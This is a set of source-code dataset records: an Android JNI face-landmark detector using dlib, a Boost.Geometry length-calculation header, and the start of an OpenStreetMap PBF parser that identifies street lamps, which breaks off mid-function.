JoinSplit<ZC_NUM_JS_INPUTS,\n                         ZC_NUM_JS_OUTPUTS>;\n\n}\n", "meta": {"hexsha": "4fc53a0add83f45f82eeed8a1eb4f1e083e4693a", "size": 8542, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/arnak/JoinSplit.cpp", "max_stars_repo_name": "michailduzhanski/crypto-release", "max_stars_repo_head_hexsha": "4e0f14ccc4eaebee6677f06cff4e13f37608c0f8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-02-12T16:22:49.000Z", "max_stars_repo_stars_event_max_datetime": "2020-02-13T16:34:31.000Z", "max_issues_repo_path": "src/arnak/JoinSplit.cpp", "max_issues_repo_name": "michailduzhanski/crypto-release", "max_issues_repo_head_hexsha": "4e0f14ccc4eaebee6677f06cff4e13f37608c0f8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/arnak/JoinSplit.cpp", "max_forks_repo_name": "michailduzhanski/crypto-release", "max_forks_repo_head_hexsha": "4e0f14ccc4eaebee6677f06cff4e13f37608c0f8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.4044117647, "max_line_length": 103, "alphanum_fraction": 0.5511589792, "num_tokens": 1993, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.26894141551050293, "lm_q1q2_score": 0.13762178800936672}}
{"text": "//\n// \u68c0\u6d4b\u5668\u65b9\u6cd5\u5b9e\u73b0\n// Created by willow li on 2019/3/26.\n//\n\n#include <dlib/image_processing/frontal_face_detector.h>\n#include <include/opencv2/core/mat.hpp>\n#include <include/opencv2/imgproc/imgproc_c.h>\n#include <include/opencv2/imgproc/types_c.h>\n#include <src/main/cpp/dlib/opencv/cv_image.h>\n#include <include/opencv2/imgproc.hpp>\n#include \"config.h\"\n#include \"face_detector.h\"\n\nusing namespace out_cast_detector;\nusing namespace cv;\nusing namespace dlib;\n\nface_detector::face_detector() = default;\n\nvoid face_detector::init_face_detector(JNIEnv *env, jstring predictor_path) {\n    LOGI(\"init_face_detector start\");\n    string path = jstring_complier::jstring_to_string(env, predictor_path);\n    detector = dlib::get_frontal_face_detector();\n    predictor = shape_predictor();\n    deserialize(path) >> predictor;\n    // deserialize(predictor, path);\n\n    jclass pointFClazz = (env)->FindClass(\"android/graphics/PointF\");\n    jclass faceInfoClass = (env)->FindClass(\"com/video/facedetector/FaceInfo\");\n    mPointClass = (jclass) (env)->NewGlobalRef(pointFClazz);\n    mFaceInfoClass = (jclass) (env)->NewGlobalRef(faceInfoClass);\n    pointConstructID = (env)->GetMethodID(mPointClass, \"<init>\", \"()V\");\n    faceConstructID = (env)->GetMethodID(mFaceInfoClass, \"<init>\", \"()V\");\n    LOGI(\"init_face_detector finish\");\n}\n\njobjectArray face_detector::do_face_detect_action(JNIEnv *env,\n                                                  jbyteArray image_data,\n                                                  jint image_height,\n                                                  jint image_widht) {\n    try {\n        if (image_data == nullptr || image_height <= 0 || image_widht <= 0) {\n            return nullptr;\n        }\n        // \u7070\u5ea6\u53d6\u503c\n        LOGI(\"\u6570\u636e\u8f6c\u6362 start\");\n        array2d<unsigned char> frame =\n                jstring_complier::jbyteArray_to_array2dGrayscale(\n                        env,\n                        image_data,\n                        image_height,\n                        image_widht\n                );\n        LOGI(\"\u6570\u636e\u8f6c\u6362 finish\");\n\n        // \u4eba\u8138\u68c0\u6d4b\n        LOGI(\"\u4eba\u8138\u68c0\u6d4b start\");\n        detector = dlib::get_frontal_face_detector();\n        std::vector<dlib::rectangle> rects = detector(frame);\n        LOGI(\"\u81f3\u5c11\u6709\u4eba\u8138? %i\", (int) jsize(rects.size()));\n        jobjectArray final_result =\n                (env)->NewObjectArray(\n                        jsize(rects.size()),\n                        mFaceInfoClass,\n                        nullptr\n                );\n        for (int i = 0; i < rects.size(); ++i) {\n            full_object_detection faces_landmark = predictor(frame, rects[i]);\n            jobjectArray keymarks = (env)->NewObjectArray(68, mPointClass, nullptr);\n            for (int index = 0; index < 68; index++) {\n                point p = faces_landmark.part((unsigned long) (index));\n                jobject tempPoint = (env)->NewObject(mPointClass, pointConstructID);\n                jfieldID px = (env)->GetFieldID(mPointClass, \"x\", \"F\");\n                jfieldID py = (env)->GetFieldID(mPointClass, \"y\", \"F\");\n                (env)->SetFloatField(tempPoint, px, (float) p.x());\n                (env)->SetFloatField(tempPoint, py, (float) p.y());\n                (env)->SetObjectArrayElement(keymarks, index, tempPoint);\n                (env)->DeleteLocalRef(tempPoint);\n            }\n            jobject tempFaceInfo = (env)->NewObject(mFaceInfoClass, faceConstructID);\n            jfieldID marksId = (env)->GetFieldID(mFaceInfoClass, \"mKeyPoints\",\n                                                 \"[Landroid/graphics/PointF;\");\n            (env)->SetObjectField(tempFaceInfo, marksId, keymarks);\n            (env)->SetObjectArrayElement(final_result, i, tempFaceInfo);\n            LOGI(\"\u5355\u4e2a\u4eba\u8138\u6570\u636e\u91ca\u653e\u524d\");\n            (env)->DeleteLocalRef(tempFaceInfo);\n            (env)->DeleteLocalRef(keymarks);\n        }\n        LOGI(\"\u4eba\u8138\u68c0\u6d4b finish\");\n        rects.clear();\n        frame.clear();\n        return final_result;\n\n    } catch (exception &e) {\n        LOGE(\"%s\", e.what());\n    }\n    return nullptr;\n}\n\n\njobjectArray face_detector::do_face_detect_action_mat(JNIEnv *env,\n                                                      const cv::Mat &image_data,\n                                                      jint image_height,\n                                                      jint image_widht) {\n    /*try {\n        if (image_data.empty() || image_height <= 0 || image_widht <= 0) {\n            return nullptr;\n        }\n        // \u7070\u5ea6\u53d6\u503c\n        LOGI(\"\u6570\u636e\u8f6c\u6362 start\");\n        if (image_data.channels() == 1) {\n            cv::cvtColor(image_data, image_data, CV_GRAY2BGR);\n        }\n\n        dlib::cv_image<dlib::bgr_pixel> frame(image_data);\n        LOGI(\"\u6570\u636e\u8f6c\u6362 finish\");\n\n        // \u4eba\u8138\u68c0\u6d4b\n        LOGI(\"\u4eba\u8138\u68c0\u6d4b start\");\n        std::vector<dlib::rectangle> rects = detector(frame);\n        LOGI(\"\u81f3\u5c11\u6709\u4eba\u8138? %i\", (int) jsize(rects.size()));\n        jobjectArray final_result =\n                (env)->NewObjectArray(\n                        jsize(rects.size()),\n                        mFaceInfoClass,\n                        nullptr\n                );\n        for (int i = 0; i < rects.size(); ++i) {\n            full_object_detection faces_landmark = predictor(frame, rects[i]);\n            jobjectArray keymarks = (env)->NewObjectArray(68, mPointClass, nullptr);\n            for (int index = 0; index < 68; index++) {\n                point p = faces_landmark.part((unsigned long) (index));\n                jobject tempPoint = (env)->NewObject(mPointClass, pointConstructID);\n                jfieldID px = (env)->GetFieldID(mPointClass, \"x\", \"F\");\n                jfieldID py = (env)->GetFieldID(mPointClass, \"y\", \"F\");\n                (env)->SetFloatField(tempPoint, px, (float) p.x());\n                (env)->SetFloatField(tempPoint, py, (float) p.y());\n                (env)->SetObjectArrayElement(keymarks, index, tempPoint);\n                (env)->DeleteLocalRef(tempPoint);\n            }\n            jobject tempFaceInfo = (env)->NewObject(mFaceInfoClass, faceConstructID);\n            jfieldID marksId = (env)->GetFieldID(mFaceInfoClass, \"mKeyPoints\",\n                                                 \"[Landroid/graphics/PointF;\");\n            (env)->SetObjectField(tempFaceInfo, marksId, keymarks);\n            (env)->SetObjectArrayElement(final_result, i, tempFaceInfo);\n            LOGI(\"\u5355\u4e2a\u4eba\u8138\u6570\u636e\u91ca\u653e\u524d\");\n            (env)->DeleteLocalRef(tempFaceInfo);\n            (env)->DeleteLocalRef(keymarks);\n        }\n        LOGI(\"\u4eba\u8138\u68c0\u6d4b finish\");\n        rects.clear();\n        return final_result;\n\n    } catch (exception &e) {\n        LOGE(\"%s\", e.what());\n    }*/\n    return nullptr;\n}\n\n/*\u66b4\u9732\u65b9\u6cd5=======================================================================================*/\nface_detector *current_detector = nullptr;\n\nstatic void out_cast_detector::do_init(JNIEnv *env,\n                                       jobject job,\n                                       jstring predictor_path) {\n    LOGI(\"init_face_detector proxy start\");\n    if (current_detector != nullptr) {\n        current_detector->init_face_detector(env, predictor_path);\n    }\n    LOGI(\"init_face_detector proxy finish\");\n}\n\n\nstatic jobjectArray out_cast_detector::do_detect(JNIEnv *env,\n                                                 jobject obj,\n                                                 jbyteArray image_data,\n                                                 jint image_height,\n                                                 jint image_widht) {\n    LOGI(\"do_detect proxy\");\n    if (current_detector != nullptr) {\n        return current_detector->do_face_detect_action(env, image_data, image_height, image_widht);\n    }\n    return nullptr;\n}\n\nstatic jobjectArray out_cast_detector::do_detect_mat(JNIEnv *env,\n                                                     const cv::Mat &image_data,\n                                                     jint image_height,\n                                                     jint image_widht) {\n    LOGI(\"do_detect proxy\");\n    if (current_detector != nullptr) {\n        return current_detector->do_face_detect_action_mat(env, image_data, image_height,\n                                                           image_widht);\n    }\n    return nullptr;\n}\n\n/*\u52a8\u6001\u6ce8\u518c=======================================================================================*/\n\n// \u65b9\u6cd5\u58f0\u660e\nstatic const char *jniClassName = \"com/video/facedetector/FaceDetectorManager\";\nstatic const JNINativeMethod provide_methods[] = {\n        {\"initFaceDetector\",      \"(Ljava/lang/String;)V\",                      (void *) out_cast_detector::do_init},\n        {\"doFaceDetectAction\",    \"([BII)[Lcom/video/facedetector/FaceInfo;\", (jobjectArray *) out_cast_detector::do_detect},\n        {\"doFaceDetectMatAction\", \"([BII)[Lcom/video/facedetector/FaceInfo;\", (jobjectArray *) out_cast_detector::do_detect_mat},\n};\n\n// \u6b64\u51fd\u6570\u901a\u8fc7\u8c03\u7528RegisterNatives\u65b9\u6cd5\u6765\u6ce8\u518c\u6211\u4eec\u7684\u51fd\u6570\nstatic int registerNativeMethods(JNIEnv *env,\n                                 const char *className,\n                                 const JNINativeMethod *getMethods,\n                                 int methodsNum) {\n    jclass clazz;\n    clazz = (env)->FindClass(className);\n    if (clazz == nullptr) {\n        return JNI_FALSE;\n    }\n    if ((env)->RegisterNatives(clazz, getMethods, methodsNum) < 0) {\n        return JNI_FALSE;\n    }\n    if (current_detector == nullptr) {\n        current_detector = new face_detector();\n    }\n    return JNI_TRUE;\n}\n\n// \u901a\u7528\u52a8\u6001\u6ce8\u518c\u51fd\u6570\nstatic int register_android_face_detector(JNIEnv *env) {\n    return registerNativeMethods(env,\n                                 jniClassName,\n                                 provide_methods,\n                                 sizeof(provide_methods) / sizeof(provide_methods[0]));\n}\n\n/*\u52a8\u6001\u6ce8\u518c\uff1a\u751f\u547d\u5468\u671f===================================================================================*/\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {\n    JNIEnv *env = nullptr;\n    if (vm->GetEnv(reinterpret_cast<void **>(&env), JNI_VERSION_1_6) != JNI_OK) {\n        return -1;\n    }\n    assert(env != nullptr);\n    if (!register_android_face_detector(env)) {\n        return -1;\n    }\n    return JNI_VERSION_1_6;\n}\n\n\nJNIEXPORT void JNI_OnUnload(JavaVM *vm, void *reserved) {\n\n}", "meta": {"hexsha": "0ee1bd4c6f536685e1190c1c6767382812fb20c1", "size": 10201, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "facedetector/src/main/cpp/face_detector.cpp", "max_stars_repo_name": "Windsander/FaceDetectorDemo", "max_stars_repo_head_hexsha": "1ec3dd55695fe47b69e1fb510461da0e4b25ffe2", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "facedetector/src/main/cpp/face_detector.cpp", "max_issues_repo_name": "Windsander/FaceDetectorDemo", "max_issues_repo_head_hexsha": "1ec3dd55695fe47b69e1fb510461da0e4b25ffe2", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "facedetector/src/main/cpp/face_detector.cpp", "max_forks_repo_name": "Windsander/FaceDetectorDemo", "max_forks_repo_head_hexsha": "1ec3dd55695fe47b69e1fb510461da0e4b25ffe2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-09-14T07:47:25.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-14T07:47:25.000Z", "avg_line_length": 40.4801587302, "max_line_length": 129, "alphanum_fraction": 0.5361239094, "num_tokens": 2283, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381519846138, "lm_q2_score": 0.25091278688527247, "lm_q1q2_score": 0.13718359341096312}}
{"text": "// Boost.Geometry (aka GGL, Generic Geometry Library)\n\n// Copyright (c) 2007-2014 Barend Gehrels, Amsterdam, the Netherlands.\n// Copyright (c) 2008-2014 Bruno Lalande, Paris, France.\n// Copyright (c) 2009-2014 Mateusz Loskot, London, UK.\n\n// This file was modified by Oracle on 2014, 2015.\n// Modifications copyright (c) 2014-2015, Oracle and/or its affiliates.\n\n// Contributed and/or modified by Menelaos Karavelas, on behalf of Oracle\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle\n\n// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library\n// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.\n\n// Use, modification and distribution is subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef BOOST_GEOMETRY_ALGORITHMS_LENGTH_HPP\n#define BOOST_GEOMETRY_ALGORITHMS_LENGTH_HPP\n\n#include <iterator>\n\n#include <boost/concept_check.hpp>\n#include <boost/core/ignore_unused.hpp>\n#include <boost/range.hpp>\n\n#include <boost/mpl/fold.hpp>\n#include <boost/mpl/greater.hpp>\n#include <boost/mpl/if.hpp>\n#include <boost/mpl/insert.hpp>\n#include <boost/mpl/int.hpp>\n#include <boost/mpl/set.hpp>\n#include <boost/mpl/size.hpp>\n#include <boost/mpl/transform.hpp>\n#include <boost/type_traits.hpp>\n\n#include <boost/variant/apply_visitor.hpp>\n#include <boost/variant/static_visitor.hpp>\n#include <boost/variant/variant_fwd.hpp>\n\n#include <boost/geometry/core/cs.hpp>\n#include <boost/geometry/core/closure.hpp>\n#include <boost/geometry/core/tags.hpp>\n\n#include <boost/geometry/geometries/concepts/check.hpp>\n\n#include <boost/geometry/algorithms/assign.hpp>\n#include <boost/geometry/algorithms/detail/calculate_null.hpp>\n#include <boost/geometry/algorithms/detail/multi_sum.hpp>\n// #include <boost/geometry/algorithms/detail/throw_on_empty_input.hpp>\n#include <boost/geometry/views/closeable_view.hpp>\n#include <boost/geometry/strategies/distance.hpp>\n#include <boost/geometry/strategies/default_length_result.hpp>\n\n\nnamespace geofeatures_boost {} namespace boost = geofeatures_boost; namespace geofeatures_boost { namespace geometry\n{\n\n\n#ifndef DOXYGEN_NO_DETAIL\nnamespace detail { namespace length\n{\n\n\ntemplate<typename Segment>\nstruct segment_length\n{\n    template <typename Strategy>\n    static inline typename default_length_result<Segment>::type apply(\n            Segment const& segment, Strategy const& strategy)\n    {\n        geofeatures_boost::ignore_unused(strategy);\n        typedef typename point_type<Segment>::type point_type;\n        point_type p1, p2;\n        geometry::detail::assign_point_from_index<0>(segment, p1);\n        geometry::detail::assign_point_from_index<1>(segment, p2);\n        return strategy.apply(p1, p2);\n    }\n};\n\n/*!\n\\brief Internal, calculates length of a linestring using iterator pairs and\n    specified strategy\n\\note for_each could be used here, now that point_type is changed by boost\n    range iterator\n*/\ntemplate<typename Range, closure_selector Closure>\nstruct range_length\n{\n    typedef typename default_length_result<Range>::type return_type;\n\n    template <typename Strategy>\n    static inline return_type apply(\n            Range const& range, Strategy const& strategy)\n    {\n        geofeatures_boost::ignore_unused(strategy);\n        typedef typename closeable_view<Range const, Closure>::type view_type;\n        typedef typename geofeatures_boost::range_iterator\n            <\n                view_type const\n            >::type iterator_type;\n\n        return_type sum = return_type();\n        view_type view(range);\n        iterator_type it = geofeatures_boost::begin(view), end = geofeatures_boost::end(view);\n        if(it != end)\n        {\n            for(iterator_type previous = it++;\n                    it != end;\n                    ++previous, ++it)\n            {\n                // Add point-point distance using the return type belonging\n                // to strategy\n                sum += strategy.apply(*previous, *it);\n            }\n        }\n\n        return sum;\n    }\n};\n\n\n}} // namespace detail::length\n#endif // DOXYGEN_NO_DETAIL\n\n\n#ifndef DOXYGEN_NO_DISPATCH\nnamespace dispatch\n{\n\n\ntemplate <typename Geometry, typename Tag = typename tag<Geometry>::type>\nstruct length : detail::calculate_null\n{\n    typedef typename default_length_result<Geometry>::type return_type;\n\n    template <typename Strategy>\n    static inline return_type apply(Geometry const& geometry, Strategy const& strategy)\n    {\n        return calculate_null::apply<return_type>(geometry, strategy);\n    }\n};\n\n\ntemplate <typename Geometry>\nstruct length<Geometry, linestring_tag>\n    : detail::length::range_length<Geometry, closed>\n{};\n\n\n// RING: length is currently 0; it might be argued that it is the \"perimeter\"\n\n\ntemplate <typename Geometry>\nstruct length<Geometry, segment_tag>\n    : detail::length::segment_length<Geometry>\n{};\n\n\ntemplate <typename MultiLinestring>\nstruct length<MultiLinestring, multi_linestring_tag> : detail::multi_sum\n{\n    template <typename Strategy>\n    static inline typename default_length_result<MultiLinestring>::type\n    apply(MultiLinestring const& multi, Strategy const& strategy)\n    {\n        return multi_sum::apply\n               <\n                   typename default_length_result<MultiLinestring>::type,\n                   detail::length::range_length\n                   <\n                       typename geofeatures_boost::range_value<MultiLinestring>::type,\n                       closed // no need to close it explicitly\n                   >\n               >(multi, strategy);\n\n    }\n};\n\n\n} // namespace dispatch\n#endif // DOXYGEN_NO_DISPATCH\n\n\nnamespace resolve_variant {\n\ntemplate <typename Geometry>\nstruct length\n{\n    template <typename Strategy>\n    static inline typename default_length_result<Geometry>::type\n    apply(Geometry const& geometry, Strategy const& strategy)\n    {\n        return dispatch::length<Geometry>::apply(geometry, strategy);\n    }\n};\n\ntemplate <BOOST_VARIANT_ENUM_PARAMS(typename T)>\nstruct length<geofeatures_boost::variant<BOOST_VARIANT_ENUM_PARAMS(T)> >\n{\n    typedef typename default_length_result\n        <\n            geofeatures_boost::variant<BOOST_VARIANT_ENUM_PARAMS(T)>\n        >::type result_type;\n\n    template <typename Strategy>\n    struct visitor\n        : static_visitor<result_type>\n    {\n        Strategy const& m_strategy;\n\n        visitor(Strategy const& strategy)\n            : m_strategy(strategy)\n        {}\n\n        template <typename Geometry>\n        inline typename default_length_result<Geometry>::type\n        operator()(Geometry const& geometry) const\n        {\n            return length<Geometry>::apply(geometry, m_strategy);\n        }\n    };\n\n    template <typename Strategy>\n    static inline result_type apply(\n        variant<BOOST_VARIANT_ENUM_PARAMS(T)> const& geometry,\n        Strategy const& strategy\n    )\n    {\n        return geofeatures_boost::apply_visitor(visitor<Strategy>(strategy), geometry);\n    }\n};\n\n} // namespace resolve_variant\n\n\n/*!\n\\brief \\brief_calc{length}\n\\ingroup length\n\\details \\details_calc{length, length (the sum of distances between consecutive points)}. \\details_default_strategy\n\\tparam Geometry \\tparam_geometry\n\\param geometry \\param_geometry\n\\return \\return_calc{length}\n\n\\qbk{[include reference/algorithms/length.qbk]}\n\\qbk{[length] [length_output]}\n */\ntemplate<typename Geometry>\ninline typename default_length_result<Geometry>::type\nlength(Geometry const& geometry)\n{\n    concept::check<Geometry const>();\n\n    // detail::throw_on_empty_input(geometry);\n\n    // TODO put this into a resolve_strategy stage\n    typedef typename strategy::distance::services::default_strategy\n        <\n            point_tag, point_tag, typename point_type<Geometry>::type\n        >::type strategy_type;\n\n    return resolve_variant::length<Geometry>::apply(geometry, strategy_type());\n}\n\n\n/*!\n\\brief \\brief_calc{length} \\brief_strategy\n\\ingroup length\n\\details \\details_calc{length, length (the sum of distances between consecutive points)} \\brief_strategy. \\details_strategy_reasons\n\\tparam Geometry \\tparam_geometry\n\\tparam Strategy \\tparam_strategy{distance}\n\\param geometry \\param_geometry\n\\param strategy \\param_strategy{distance}\n\\return \\return_calc{length}\n\n\\qbk{distinguish,with strategy}\n\\qbk{[include reference/algorithms/length.qbk]}\n\\qbk{[length_with_strategy] [length_with_strategy_output]}\n */\ntemplate<typename Geometry, typename Strategy>\ninline typename default_length_result<Geometry>::type\nlength(Geometry const& geometry, Strategy const& strategy)\n{\n    concept::check<Geometry const>();\n\n    // detail::throw_on_empty_input(geometry);\n\n    return resolve_variant::length<Geometry>::apply(geometry, strategy);\n}\n\n\n}} // namespace geofeatures_boost::geometry\n\n#endif // BOOST_GEOMETRY_ALGORITHMS_LENGTH_HPP\n", "meta": {"hexsha": "28babcafbb5ff6bb3811a4a35d5bc7a48c94eda3", "size": 8852, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "Pods/GeoFeatures/GeoFeatures/boost/geometry/algorithms/length.hpp", "max_stars_repo_name": "xarvey/Yuuuuuge", "max_stars_repo_head_hexsha": "9f4ec32f81cf813ea630ba2c44eb03970c56dad3", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 24.0, "max_stars_repo_stars_event_min_datetime": "2015-08-25T05:35:37.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-24T14:21:59.000Z", "max_issues_repo_path": "Pods/GeoFeatures/GeoFeatures/boost/geometry/algorithms/length.hpp", "max_issues_repo_name": "xarvey/Yuuuuuge", "max_issues_repo_head_hexsha": "9f4ec32f81cf813ea630ba2c44eb03970c56dad3", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 97.0, "max_issues_repo_issues_event_min_datetime": "2015-08-25T16:11:16.000Z", "max_issues_repo_issues_event_max_datetime": "2019-03-17T00:54:32.000Z", "max_forks_repo_path": "Pods/GeoFeatures/GeoFeatures/boost/geometry/algorithms/length.hpp", "max_forks_repo_name": "xarvey/Yuuuuuge", "max_forks_repo_head_hexsha": "9f4ec32f81cf813ea630ba2c44eb03970c56dad3", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 9.0, "max_forks_repo_forks_event_min_datetime": "2015-08-26T03:11:38.000Z", "max_forks_repo_forks_event_max_datetime": "2018-03-21T07:16:29.000Z", "avg_line_length": 29.8047138047, "max_line_length": 131, "alphanum_fraction": 0.714753728, "num_tokens": 1919, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.25386099567919973, "lm_q1q2_score": 0.13682681705815733}}
{"text": "#include <algorithm>\n#include <fstream>\n#include <numbers>\n\n#include <boost/endian.hpp>\n\n#include <range/v3/view.hpp>\n\n#include <spdlog/spdlog.h>\n\n#include <zlib.h>\n\n#include <opencv2/core.hpp>\n#include <opencv2/imgcodecs.hpp>\n#include <opencv2/imgproc.hpp>\n\n#include <osmpbf/fileformat.pb.h>\n#include <osmpbf/osmformat.pb.h>\n\nstd::optional<std::uint32_t> value_for_key(auto &&element,\n                                           const std::uint32_t &key) {\n  for (decltype(element.keys().size()) i = 0; i < element.keys().size(); ++i) {\n    if (element.keys(i) == key) {\n      return element.vals(i);\n    }\n  }\n\n  return std::nullopt;\n}\n\nbool has_key(auto &&element, const std::uint32_t &key) {\n  return std::ranges::find(element.keys(), key) != element.keys().end();\n}\n\nbool has_attribute(auto &&element, const std::uint32_t &key,\n                   const std::uint32_t &value) {\n  const auto entries = ranges::views::zip(element.keys(), element.vals());\n  return std::ranges::find(entries, std::make_pair(key, value)) !=\n         entries.end();\n}\n\nbool has_attribute(auto &&keys, auto &&vals, const std::uint32_t &key,\n                   const std::uint32_t &value) {\n  const auto entries = ranges::views::zip(keys, vals);\n  return std::ranges::find(entries, std::make_pair(key, value)) !=\n         entries.end();\n}\n\nstruct StringAttributeMap {\n  StringAttributeMap(const OSMPBF::PrimitiveBlock &block) {\n    for (int i = 0; i < block.stringtable().s_size(); ++i) {\n      const auto &s = block.stringtable().s(i);\n      if (s == \"highway\") {\n        highway = i;\n      } else if (s == \"street_lamp\") {\n        street_lamp = i;\n      } else if (s == \"lit\") {\n        lit = i;\n      } else if (s == \"no\") {\n        no = i;\n      } else if (s == \"tower:type\") {\n        tower_type = i;\n      } else if (s == \"lighting\") {\n        lighting = i;\n      }\n    }\n  }\n\n  std::uint32_t highway = 0;\n  std::uint32_t street_lamp = 0;\n  std::uint32_t lit = 0;\n  std::uint32_t no = 0;\n  std::uint32_t tower_type = 0;\n  std::uint32_t lighting = 0;\n};\n\nstruct BoundingBox {\n  static BoundingBox fromPoints(auto &&points) {\n    BoundingBox result;\n\n    for (const auto &point : points) {\n      result.min.x = std::min(result.min.x, point.x);\n      result.min.y = std::min(result.min.y, point.y);\n      result.max.x = std::max(result.max.x, point.x);\n      result.max.y = std::max(result.max.y, point.y);\n    }\n\n    return result;\n  }\n\n  auto ratio() const { return (max.x - min.x) / (max.y - min.y); }\n\n  using numeric_limits = std::numeric_limits<cv::Point2d::value_type>;\n  cv::Point2d min{numeric_limits::infinity(), numeric_limits::infinity()};\n  cv::Point2d max{-numeric_limits::infinity(), -numeric_limits::infinity()};\n};\n\nstruct Node {\n  Node(double lon, double lat, bool is_street_lamp)\n      : lon{lon}, lat{lat}, is_street_lamp{is_street_lamp} {\n    using std::numbers::pi;\n    using namespace std;\n    const auto rad = [](const auto &deg) { return deg / 180.0 * pi; };\n\n    x = 1.0 / (2 * pi) * 2 * (rad(lon) + pi);\n    y = 1.0 / (2 * pi) * 2 * (pi - log(tan(pi / 4.0 + rad(lat) / 2.0)));\n  }\n\n  double lon;\n  double lat;\n  bool is_street_lamp;\n\n  double x;\n  double y;\n\n  size_t refcount = 0;\n};\n\nusing NodeRef = std::int64_t;\n\nstruct Road {\n  std::vector<NodeRef> nodes;\n  std::optional<bool> is_lit;\n};\n\nstd::vector<char> zlib(const OSMPBF::Blob &blob) {\n  decltype(zlib(blob)) result;\n\n  if (!blob.has_zlib_data()) {\n    return result;\n  }\n\n  result.resize(blob.raw_size());\n  size_t uncompressedSize = result.size();\n  if (uncompress(reinterpret_cast<Bytef *>(result.data()), &uncompressedSize,\n                 reinterpret_cast<Bytef *>(\n                     const_cast<char *>(blob.zlib_data().c_str())),\n                 blob.zlib_data().size()) != Z_OK) {\n    spdlog::critical(\"[zlib] uncompress failed.\");\n  }\n\n  if (uncompressedSize != result.size()) {\n    spdlog::critical(\n        \"[zlib] uncompressed size does not match expected one in header.\");\n  }\n\n  return result;\n}\n\nsize_t read_pbf_segment(std::ifstream &stream,\n                        std::unordered_map<NodeRef, Node> &points,\n                        std::vector<Road> &roads) {\n  boost::endian::big_int32_t size;\n  stream.read(reinterpret_cast<char *>(&size), sizeof(size));\n\n  if (size == 0) {\n    return 0;\n  }\n\n  std::vector<char> buffer(size);\n  stream.read(buffer.data(), buffer.size());\n\n  OSMPBF::BlobHeader blobheader;\n  if (!blobheader.ParseFromArray(buffer.data(), buffer.size())) {\n    spdlog::critical(\n        \"Failed to parse OSMPBF::BlobHeader (size is given as {} bytes).\",\n        size);\n    return 0;\n  }\n\n  buffer.resize(blobheader.datasize());\n  stream.read(buffer.data(), buffer.size());\n  OSMPBF::Blob blob;\n  if (!blob.ParseFromArray(buffer.data(), buffer.size())) {\n    spdlog::critical(\n        \"Failed to parse OSMPBF::Blob (size is given as {} bytes).\",\n        blobheader.datasize());\n    return 0;\n  }\n\n  if (!blob.has_zlib_data() || blob.has_lzma_data() || blob.has_raw()) {\n    spdlog::critical(\n        \"[read_pbf_segment] Found a segment that is not zlib compressed. Only \"\n        \"zlib compressed segments are supported.\");\n    return 0;\n  }\n\n  auto blockbuffer = zlib(blob);\n\n  if (blobheader.type() == \"OSMHeader\") {\n\n  } else if (blobheader.type() == \"OSMData\") {\n    OSMPBF::PrimitiveBlock block;\n    if (!block.ParseFromArray(blockbuffer.data(), blockbuffer.size())) {\n      spdlog::critical(\"Failed to parse block\");\n    }\n\n    const auto unpackLongitude = [&](const auto &packedLon) {\n      return 0.000000001 *\n             (block.lon_offset() + (block.granularity() * packedLon));\n    };\n\n    const auto unpackLatitude = [&](const auto &packedLat) {\n      return 0.000000001 *\n             (block.lat_offset() + (block.granularity() * packedLat));\n    };\n\n    const StringAttributeMap strings{block};\n\n    for (const auto &group : block.primitivegroup()) {\n      const auto is_street_lamp = [&](const auto &...args) {\n        return has_attribute(args..., strings.highway, strings.street_lamp) ||\n               has_attribute(args..., strings.tower_type, strings.lighting);\n      };\n\n      //\n      // Nodes\n      //\n      std::transform(\n          group.nodes().begin(), group.nodes().end(),\n          std::inserter(points, points.begin()),\n          [&](const auto &node) -> std::decay_t<decltype(points)>::value_type {\n            return {std::piecewise_construct, std::forward_as_tuple(node.id()),\n                    std::forward_as_tuple(unpackLongitude(node.lon()),\n                                          unpackLatitude(node.lat()),\n                                          is_street_lamp(node))};\n          });\n\n      //\n      // DenseNodes\n      //\n      if (group.has_dense()) {\n        const auto &dense = group.dense();\n\n        std::int64_t id = 0;\n        std::int64_t packedLat = 0;\n        std::int64_t packedLon = 0;\n\n        using namespace ranges::views;\n        for (const auto &[delta_id, delta_lat, delta_lon, attr] :\n             zip(dense.id(), dense.lat(), dense.lon(),\n                 dense.keys_vals() | split(0))) {\n          id += delta_id;\n          packedLat += delta_lat;\n          packedLon += delta_lon;\n\n          const auto keys = attr | stride(2);\n          const auto vals = attr | tail | stride(2);\n          points.emplace(std::piecewise_construct, std::forward_as_tuple(id),\n                         std::forward_as_tuple(unpackLongitude(packedLon),\n                                               unpackLatitude(packedLat),\n                                               is_street_lamp(keys, vals)));\n        }\n      